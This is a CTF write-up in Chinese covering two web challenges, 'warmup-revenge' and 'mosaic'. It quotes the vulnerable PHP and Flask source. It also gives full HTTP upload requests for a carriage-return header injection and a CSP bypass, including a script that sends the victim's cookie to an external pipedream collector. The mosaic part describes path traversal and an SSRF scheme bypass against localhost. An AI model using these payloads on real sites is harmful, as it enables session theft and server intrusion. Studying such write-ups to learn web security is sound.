https://hackmd.io/@sahuang/rkHD37ZA3
啥也没写出来,留个记录
warmup-revenge
文件上传+xss
查看源代码,注意到有bot.js,打开文件有setCookie函数,确认xss可能
有两个关键页面:
download.php:用来下载上传的文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php include('./config.php'); ob_end_clean();
if(!trim($_GET['idx'])) die('Not Found'); $query = array( 'idx' => $_GET['idx'] );
$file = fetch_row('board', $query); if(!$file) die('Not Found');
$filepath = $file['file_path']; $original = $file['file_name'];
if(preg_match("/msie/i", $_SERVER['HTTP_USER_AGENT']) && preg_match("/5\.5/", $_SERVER['HTTP_USER_AGENT'])) { header("content-length: ".filesize($filepath)); header("content-disposition: attachment; filename=\"$original\""); header("content-transfer-encoding: binary"); } else if (preg_match("/Firefox/i", $_SERVER['HTTP_USER_AGENT'])){ header("content-length: ".filesize($filepath)); header("content-disposition: attachment; filename=\"".basename($file['file_name'])."\""); header("content-description: php generated data"); } else { header("content-length: ".filesize($filepath)); header("content-disposition: attachment; filename=\"$original\""); header("content-description: php generated data"); } header("pragma: no-cache"); header("expires: 0"); flush();
$fp = fopen($filepath, 'rb');
$download_rate = 10;
while(!feof($fp)) { print fread($fp, round($download_rate * 1024)); flush(); usleep(1000); } fclose ($fp); flush(); ?>
|
report.php:报告给bot以管理员身份访问
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <?php include("config.php"); if(!is_login()) die("login plz");
if($_SERVER["REQUEST_METHOD"] == "GET") { if(isset($_GET["idx"]) && isset($_GET['path'])) { if(isset($_SESSION["report"]) && $_SESSION["report"] + 30 > time()) { die("Too fast"); }
if(!fetch_row('board', array('idx' => $_GET['idx'], 'username' => $_SESSION['username']), 'and')) { die("Not found"); }
$address = gethostbyname("bot"); $port = 5000; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if($socket === false) { die("error! plz contact admin"); } $result = socket_connect($socket, $address, $port); if($result === false) { die("error! plz contact admin"); } $report_url = "http://webserver/".$_GET['path']."?p=read&idx=".$_GET['idx']; socket_write($socket, $report_url, strlen($report_url)); socket_close($socket); $_SESSION["report"] = time(); die("done"); } else { die("Invalid parameter"); } } else { die("nop"); } ?>
|
首先要注意的是,我们有一个IDOR(不安全的直接对象引用),让我们通过ID访问任何文件来下载,并且某种CRLF(回车符)能让我们覆盖content-disposition
,使响应为文件内容下载的内联页面而不是下载文件,并且没有在页面上显示内容使得 XSS 成为可能
1
| header("content-disposition: attachment; filename=\"$original\"")
|
可以通过回车重写请求头,像这样:asdf\rjunk.html
在board.php
可以将文件以附件形式上传,代码如下:
1
| $insert['file_name'] = $_FILES['file']['name'];
|
存在回车绕过可能
存在CSP:
1
| Content-Security-Policy: default-src 'self'; style-src 'self'
|
这个CSP允许我们包含来自同一个域的脚本,一个简单的绕过就是先上传一个包含javascript代码的文件来执行,然后再上传另一个文件来包含download.php页面上的js代码
第一个请求如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| POST /board.php?p=write HTTP/1.1 Host: 58.225.56.195 Content-Length: 681 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://58.225.56.195 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydFZmSiashN04RJ1C User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://58.225.56.195/board.php?p=write Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=23c454a3f075dc9dc737e6fe71a98644 Connection: close
Content-Disposition: form-data; name="title"
testy
Content-Disposition: form-data; name="content"
asdf
Content-Disposition: form-data; name="level"
1
Content-Disposition: form-data; name="file"; filename="myFile.html" Content-Type: text/html
document.location="https://enwau6gu4zv3.x.pipedream.net/?x=".concat(encodeURIComponent(document.cookie));
Content-Disposition: form-data; name="password"
benjeddou
|
获得上传的文件:http://58.225.56.195/download.php?idx=…
上传第二个文件,其名称中包含回车符,以便将第一个文件作为脚本加载。\r
在下面请求中被替换为回车,因为执行url编码不能正确工作,所以需要在burpsuite改变十六进制请求来注入回车。
第二个请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| POST /board.php?p=write HTTP/1.1 Host: 58.225.56.195 Content-Length: 681 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://58.225.56.195 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydFZmSiashN04RJ1C User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://58.225.56.195/board.php?p=write Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=23c454a3f075dc9dc737e6fe71a98644 Connection: close
Content-Disposition: form-data; name="title"
testy
Content-Disposition: form-data; name="content"
asdf
Content-Disposition: form-data; name="level"
1
Content-Disposition: form-data; name="file"; filename="AA\r.html" Content-Type: text/html
<script src="/download.php?idx=975"></script>
Content-Disposition: form-data; name="password"
benjeddou
|
以上可以通过http://58.225.56.195/download.php?idx=… 访问,通过bot使用http://58.225.56.195/report.php?path=download.php&idx=… 获得flag
mosaic
文件上传+文件包含+SSRF
查看原代码,该网页允许上传文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| @app.route('/upload', methods=['GET', 'POST']) def upload(): if not session.get('logged_in'): return redirect(url_for('login')) if request.method == 'POST': if 'file' not in request.files: return 'No file part' file = request.files['file'] if file.filename == '': return 'No selected file' filename = os.path.basename(file.filename) guesstype = mimetypes.guess_type(filename)[0] image_path = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', filename) if type_check(guesstype): file.save(image_path) return render_template("upload.html", image_path = image_path) else: return "Allowed file types are png, jpeg, jpg, zip, tiff.." return render_template("upload.html")
|
可以通过/mosaic
访问上传图像的马赛克版本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| @app.route('/mosaic', methods=['GET', 'POST']) def mosaic(): if not session.get('logged_in'): return redirect(url_for('login')) if request.method == 'POST': image_url = request.form.get('image_url') if image_url and "../" not in image_url and not image_url.startswith("/"): guesstype = mimetypes.guess_type(image_url)[0] ext = guesstype.split("/")[1] mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session["username"]}', f'{os.urandom(8).hex()}.{ext}') filename = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', image_url) if os.path.isfile(filename): image = imageio.imread(filename) elif image_url.startswith("http://") or image_url.startswith("https://"): return "Not yet..! sry.." else: if type_check(guesstype): image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content image = imageio.imread(image_data) apply_mosaic(image, mosaic_path) return render_template("mosaic.html", mosaic_path = mosaic_path) else: return "Plz input image_url or Invalid image_url.." return render_template("mosaic.html")
|
可以发现flag文件如下:
1 2 3 4
| if os.path.exists("/flag.png"): FLAG = "/flag.png" else: FLAG = "/test-flag.png"
|
在路径/flag.png
由此,可以尝试上传文件./file.zip/flag.png
或./file.zip#flag.png
存在目录遍历:
1 2 3 4 5 6 7 8
| @app.route('/check_upload/@<username>/<file>') def check_upload(username, file): if not session.get('logged_in'): return redirect(url_for('login')) if username == "admin" and session["username"] != "admin": return "Access Denied.." else: return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)
|
可以使用用户名../
绕过获得管理员密码文件password.txt
,以此登录管理员账号
由以上代码,需从localhost访问,在/mosaic
存在ssrf
1 2 3 4 5 6 7 8
| if os.path.isfile(filename): image = imageio.imread(filename) elif image_url.startswith("http://") or image_url.startswith("https://"): return "Not yet..! sry.." else: if type_check(guesstype): image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content image = imageio.imread(image_data)
|
对于http://
可以使用Http://
代替,可以使用Http://localhost:9999/#test.png
绕过,访问http://58.229.185.52:9999/check_upload/@admin/flag.png